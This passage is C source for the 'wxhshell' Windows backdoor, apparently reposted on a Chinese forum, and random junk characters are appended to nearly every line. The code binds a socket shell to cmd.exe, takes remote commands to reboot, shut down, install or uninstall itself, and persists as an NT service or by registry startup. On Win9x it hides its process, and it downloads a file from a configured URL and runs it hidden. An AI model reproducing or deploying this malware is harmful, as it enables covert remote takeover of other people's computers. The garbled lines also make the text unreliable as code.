  // 安装 )Ee`11  
  case 'i': { N71%l  
    if(Install()) Qyj:!-o  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); vF{{$)c  
    else :{#w-oC>6P  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %$R]NL|  
    break; T' )l  
    } @ w,O1Xwj  
  // 卸载 }SW>ysw'm  
  case 'r': { w[;5]z  
    if(Uninstall()) 0*/[z~Z-1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); n 8)eC2 A  
    else |198A,^  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7Rr +Uzb(  
    break; io$fL_R=  
    } b;G#MjQp'  
  // 显示 wxhshell 所在路径 [jKhC<t}  
  case 'p': { to] ~$~Q|>  
    char svExeFile[MAX_PATH]; yt`K^07@  
    strcpy(svExeFile,"\n\r"); KN\tRE  
      strcat(svExeFile,ExeFile); ;c#jO:A5  
        send(wsh,svExeFile,strlen(svExeFile),0); IKeO&]k  
    break; &>Nw>V  
    } yT C+5_7  
  // 重启 7MwS[N%#  
  case 'b': { pb|,rLNZ  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); c"S{5xh0&  
    if(Boot(REBOOT)) [Pz['q L3t  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); n4Q ^   
    else { 03dmHg.E!E  
    closesocket(wsh); _h P7hhR  
    ExitThread(0); 9at_F'> R  
    } m}sh (W5\  
    break; "VQ7Y`,+  
    } O g!SFg*  
  // 关机 N9BfjT}  
  case 'd': { !,cfA';S  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); L-Pq/x2r  
    if(Boot(SHUTDOWN)) Hus.Jfam  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /zIUYY  
    else { C5EaP%s  
    closesocket(wsh); }9 I,p$  
    ExitThread(0); 9wP,Z"  
    } cPPTGpqw  
    break; }<=_&n  
    } a3SBEkC  
  // 获取shell J*+[?FXRL  
  case 's': { u\o~'Jz  
    CmdShell(wsh); d2X?^  
    closesocket(wsh); b_a6|  
    ExitThread(0); ^.@F1k  
    break; a<l DT_2b  
  } "g&hsp+i"A  
  // 退出 Nh"U~zlh  
  case 'x': { L=V.@?  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); sTw+.m{F  
    CloseIt(wsh); U*7x81v?j  
    break; QeG3X+  
    } ZFRKzPc {V  
  // 离开 K aNO&%qX  
  case 'q': { +PKd </*]  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); HlraOp+  
    closesocket(wsh); YU/?AQg  
    WSACleanup(); sI6coe5n  
    exit(1); d VyT`  
    break; t_jnp $1m  
        } y'm5Z-@o6  
  } U[W &D%'  
  } v:]z-zU  
W}@IUCRs  
  // 提示信息 sq;3qbz  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #M@~8dAH}M  
} z"f+;1  
  } %F13*hOu  
fw)Q1"|  
  return; 4|;Ys-Q  
} 1H \  
5:(/k\9+yv  
// shell模块句柄 >35W{ d  
int CmdShell(SOCKET sock) UHR%0ae  
{ P=R-1V  
STARTUPINFO si; i@mS8%|l  
ZeroMemory(&si,sizeof(si)); O~m Q\GlW  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; }VeE4-p B  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; vQ,<Ke+d  
PROCESS_INFORMATION ProcessInfo; KkCsQ~po  
char cmdline[]="cmd"; D!&]jkUN  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); /h8100  
  return 0; nWA>u J5  
} /  QT>"  
g)7@EU2  
// 自身启动模式 nf1O8FwRb  
int StartFromService(void) $$i Gs6az  
{ [:+f Y[4==  
typedef struct AG><5 }  
{ 5= T$h;O  
  DWORD ExitStatus; rE]Nr ;Ys  
  DWORD PebBaseAddress; $gZiW8  
  DWORD AffinityMask; @km4qJZ  
  DWORD BasePriority; 3)I]bui  
  ULONG UniqueProcessId; vo(:g6$  
  ULONG InheritedFromUniqueProcessId; W8F@nY  
}   PROCESS_BASIC_INFORMATION; 'x5p ?m  
Swh\^/B8  
PROCNTQSIP NtQueryInformationProcess; &2S-scP  
e?FQ6?  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Lp/'-Y_  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; %J Jp/I  
e N v\ZR1  
  HANDLE             hProcess; ;M~9Yr=1  
  PROCESS_BASIC_INFORMATION pbi; 2qojU%fiH  
bR,Es~n  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); $0vWC#.A]  
  if(NULL == hInst ) return 0; :s \zk^h?  
}Xfg~ %6  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ^4NRmlb  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); :aBm,q9i:}  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess");  ? 8/r=  
}zxf~4 1  
  if (!NtQueryInformationProcess) return 0; -%| ] d ;  
`wZ  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); BMI`YGjY1  
  if(!hProcess) return 0; %?, 7!|Ls  
^$}O?y7O  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; :J_UXtx  
$gN\%X/n"1  
  CloseHandle(hProcess); [V qiF~o,  
A FBH(ms't  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); mZc;n.$U  
if(hProcess==NULL) return 0; $${3I4  
lJN#_V0qW  
HMODULE hMod; v#d(Kj  
char procName[255]; ~@*q8l C  
unsigned long cbNeeded; ,X1M!'  
po\jhfn  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 4`mf^K f  
_'1 7C /  
  CloseHandle(hProcess); (n8?+GCa  
j`q>YPp  
if(strstr(procName,"services")) return 1; // 以服务启动 ~k-'  
']fyD3N  
  return 0; // 注册表启动 tu"-]^  
} X lItg\R  
8t=O=l\  
// 主模块 >~Gy+-  
int StartWxhshell(LPSTR lpCmdLine) lR7;{zlSf'  
{ r7>FH!=:  
  SOCKET wsl; aMGh$\Pg  
BOOL val=TRUE; lP)n$?u  
  int port=0; tmoCy0qWz  
  struct sockaddr_in door; );AtFP0Y  
2;*G!rE&*`  
  if(wscfg.ws_autoins) Install(); xzOvc<u  
/Dd x[P5p=  
port=atoi(lpCmdLine); <*z'sUh+}  
H)E,([   
if(port<=0) port=wscfg.ws_port; u/wX7s   
VyN F)$'T  
  WSADATA data; Oi& 9FS  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; @ U"Ib  
-6uLww=w4  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   {+cx}`  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Lg,ObVt!  
  door.sin_family = AF_INET; rA8NE>  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 17c`c.yP  
  door.sin_port = htons(port); "N_@q2zF  
'_Pb\ jK  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 42hG }Gt  
closesocket(wsl); 2?Ryk`2i)  
return 1; roAHkI  
} (zy|>u  
%rnRy<9  
  if(listen(wsl,2) == INVALID_SOCKET) { >7X5/z  
closesocket(wsl); H(- -hG5}  
return 1; *L>usLh  
} K%BFR,)g  
  Wxhshell(wsl); yB *aG  
  WSACleanup(); S/y(1.wh  
0QquxYYw,  
return 0; kO^  
;sf'"UnL  
} Yz0HB EA  
ZJGIib  
// 以NT服务方式启动 -gC%*S5&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ]5`A8-Q@  
{ jL5O{R[ x:  
DWORD   status = 0; Gv8Z  
  DWORD   specificError = 0xfffffff; HlkjyD8  
54TWFDmGi  
  serviceStatus.dwServiceType     = SERVICE_WIN32; n31nORx50  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; _uJ6Vy  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; =yqg,w&Q  
  serviceStatus.dwWin32ExitCode     = 0; F/A)2 H_  
  serviceStatus.dwServiceSpecificExitCode = 0; JPT&!%~  
  serviceStatus.dwCheckPoint       = 0; !{uV-c-5,  
  serviceStatus.dwWaitHint       = 0; e 1bV&  
7|"G 3ck  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); b^8"EBo  
  if (hServiceStatusHandle==0) return; G~*R6x2g  
r`u 9MJ*  
status = GetLastError(); pAN$c "  
  if (status!=NO_ERROR) x5U;i  
{ hiR+cPSF  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; X/Fip 0i  
    serviceStatus.dwCheckPoint       = 0; &\/}.rF  
    serviceStatus.dwWaitHint       = 0; rHjR 4q  
    serviceStatus.dwWin32ExitCode     = status; .J5or  
    serviceStatus.dwServiceSpecificExitCode = specificError; ;%u)~3B$JK  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4=* ml}RP  
    return; a5@lWpQsV  
  } ;]/cCi  
OW> >6zM  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; xxdxRy9/  
  serviceStatus.dwCheckPoint       = 0; SS,'mv  
  serviceStatus.dwWaitHint       = 0; ?* dfIc  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); <@@@Pl!~  
} /dVcNo3"  
DB] ]6  
// 处理NT服务事件,比如:启动、停止 Qm?o^%a  
VOID WINAPI NTServiceHandler(DWORD fdwControl) h&{>4{  
{ ~BI! l  
switch(fdwControl) 0j 'k%R[l  
{ jRjQDK_"ka  
case SERVICE_CONTROL_STOP: ;wr]_@<~  
  serviceStatus.dwWin32ExitCode = 0; YjG:ECj}  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; !P_'n  
  serviceStatus.dwCheckPoint   = 0; gi\UNT9x  
  serviceStatus.dwWaitHint     = 0; gJ Z9XLPC  
  { j7Lw( AJ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); > Gxu8,_;  
  } ;|K(6)  
  return; |G-o&m"  
case SERVICE_CONTROL_PAUSE: kI$X~s$r  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; v*e=oyx[  
  break; x"PMi[4  
case SERVICE_CONTROL_CONTINUE: C  F<  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Le c%kC  
  break; O7I|<H/gVE  
case SERVICE_CONTROL_INTERROGATE: u:4?$%rB  
  break; iW <B1'dp  
}; Ibl==Irk  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); )8Sm}aC  
} YJrZ  
E|^~R}z)  
// 标准应用程序主函数 uH!;4@ uI  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) -n$fh::^  
{ >@d=\Kyu  
rru `% ~'O  
// 获取操作系统版本 :j,e0#+sA  
OsIsNt=GetOsVer(); D(<20b,  
GetModuleFileName(NULL,ExeFile,MAX_PATH); >U$,/_uMNW  
E>?T<!r~j  
  // 从命令行安装 dmD ':1  
  if(strpbrk(lpCmdLine,"iI")) Install(); "eal Yveu  
O ijG@bI8  
  // 下载执行文件 s?*MZC  
if(wscfg.ws_downexe) { G%K<YyAP  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ~8EG0F;t  
  WinExec(wscfg.ws_filenam,SW_HIDE); t1 .6+  
} "I]% aK0  
v 1O* Q  
if(!OsIsNt) { z|SLH<~  
// 如果时win9x,隐藏进程并且设置为注册表启动 %8+'L4  
HideProc(); Ip4SdbU  
StartWxhshell(lpCmdLine); ,Tyh._sa  
} IXf@YV  
else ?H3xE=<X  
  if(StartFromService()) =GjxqIv  
  // 以服务方式启动 . \fzK  
  StartServiceCtrlDispatcher(DispatchTable); @hWt.qO3s  
else T;}pMRd%  
  // 普通方式启动 uU>Bun  
  StartWxhshell(lpCmdLine); U:xr['  
nMXSpX>!|  
return 0; nK6{_Y>  
}
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只看该作者 1 发表于: 2006-10-10
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